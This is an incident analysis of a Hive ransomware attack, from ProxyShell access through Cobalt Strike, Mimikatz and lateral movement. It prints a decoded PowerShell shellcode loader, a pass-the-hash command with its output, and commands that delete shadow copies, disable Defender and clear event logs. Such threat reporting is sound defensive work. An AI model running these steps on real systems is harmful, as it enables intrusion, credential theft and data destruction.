HIVE Ransomware

Hive is an affiliate-based ransomware variant used by cybercriminals to conduct ransomware attacks against healthcare facilities, nonprofits, retailers, energy providers, and other sectors worldwide. Hive is built for distribution in RAAS model that enables affiliates to utilize it as desired.affiliates use multiple mechanisms to compromise their victims' networks, including phishing emails with malicious attachments, leaked VPN credentials, and by exploiting vulnerabilities on external-facing assets. In addition, Hive places a plain-text ransom note that threatens to publish the victim's data on the TOR website 'HiveLeaks' unless the victim meets the attacker's conditions.

Observation of the attack:

- Proxyshell and web shells
- Cobalt strike
- Mimikatz and the comparison of hashing
- Scanning for sensitive information

Initial access :

the initial indicator of compromise was the successful exploitation of Microsoft Exchange via vulnerabilities known as ProxyShell.

Revealed in August 2021, ProxyShell is a Remote Code Execution (RCE) vulnerability. ProxyShell involves a set of three separate security flaws and allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server.

CVE-2021-34473

CVE-2021-34523

CVE-2021-31207

Microsoft Exchange Server Security Feature Bypass Vulnerability.
Microsoft released patches for those three vulnerabilities in April and May 2021 as part of their "Patch Tuesday" releases. CVE-2021-34473 and CVE-2021-34523 were patched (KB5001779) In April 2021. CVE-2021-31207 was patched (KB5003435) in May.

The source code of the established webshells is taken from a public git repository at https://github.com/ThePacketBender/webshells.

Execution :

By establishing a foothold on the compromised Exchange Server, the threat actor executed various PowerShell commands designed to download malicious files from the remote C2 server to the victim's computer. Attackers would execute the malware by using commands such as Invoke-Expression (IEX) or by downloading the file content directly into the device's memory and executing it:

The Base64 encoded command contains several layers of encoding but finally decodes to the following PowerShell command:

```
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies()
| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-
1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress',
[Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null,
@([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null,
@($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]]
$var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder =
[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemo
ryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed,
AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot,
Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime,
Managed')
```

```
        return $var_type_builder.CreateType()
}

[Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOP
H0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQb
w1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpN
SndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8j
IyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsO
JTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa
5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDBpbdHcjt/oD/JWHd4sCLmyO98yFY4rSkNpnTutksFjP
k1iId3VatKb1qXZnUlBHxy9uRECX2FYx1tCT2QCAktdtYyitbmqWDvjVGRB9bSN2UEZRDmJERk1XGQNu
TFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYN
EwouKSPHnhscH1J2ehVV9xiGIbRbaqS5cqjAmVwq68rbHTbqKwvVPYdIwQX2sCpP4Huf69SBXmMT5Uf7
8YpcuINAFMaQSn2ghpZ2G7UnqTkvRtIxy6TiOP3eK6FQ1llgA3N8VNacREpvDLUIaZ6/oaEPfm0YlN8J
Zlys9JSvydexNohj88pn9o2SyWlVIxY8cJLweQz1ZdO2JIzPEnVW4x52BGHMgFqryhE8N1PEyfVnFL/7
oUr8aGQvMsusR84zVxpx5+C6a+SP9iBhlQcdopF5Zu0hJsRfacn4nFrojL1nt+/oBQcjS9OWgXXc9klj
SyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DL
qt7c3BIQGg0VEw0SFRINEREbIzpKg64=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

Write-Output $var_code
```

Credential Access :

The threat actor used Mimikatz, a post-exploitation tool, specifically its SekurLSA's "login Passwords" module, which extracts the passwords and NTLM hashes of the accounts logged into the system and saves the results to a text file on the local system. With the administrator's NTLM hash in hand, the threat actor used the pass-the-hash technique to get highly privileged access to other assets in the network by launching a new command prompt on the affected system:

```
mimikatz # sekurlsa::pth /user:Administrator /domain:<REDACTED> /ntlm:<REDACTED> /run:cmd
user    : Administrator
domain  : <REDACTED>
program : cmd
impers. : no
NTLM    : <REDACTED>
  |  PID  7132
  |  TID  10320
  |  LSA Process is now R/W
  |  LUID 6 ; 2617170828 (00000006:9bfedb8c)
  \_ msv1_0   - data copy @ 000001558FB9EA80 : OK !
  \_ kerberos - data copy @ 000001558BE24668
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001558EC9F5B8 (32) -> null
```

Lateral Movement:

Leveraging the stolen domain admin account, the actor performed RDP access requests using mstsc.exe following the parameter "/v" to multiple devices on the network, mainly searching for servers associated with the network backups and SQL servers. We strongly believe that these actions were performed to confirm the ability to access the critical servers before the ransomware deployment.

Commands

vssadmin.exe delete shadows /all /quiet ------ Deleting the shadow copies from the machine to inhibit system recovery

net.exe stop "SamSs" /y ----- Stops the Security Accounts Manager to prevent sending alerts to SIEM system

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f ------ Disables Windows Defender to avoid detection

wevtutil.exe cl security ------ Clearing the Windows Security Event Logs

The ransomware iterates through all the available folders encrypting the included files and drops a ransom note named "_HOW_TO_DECRYPT.txt" in each folder. Once it has finished encryption, it pops the ransom note to inform the user of the attack.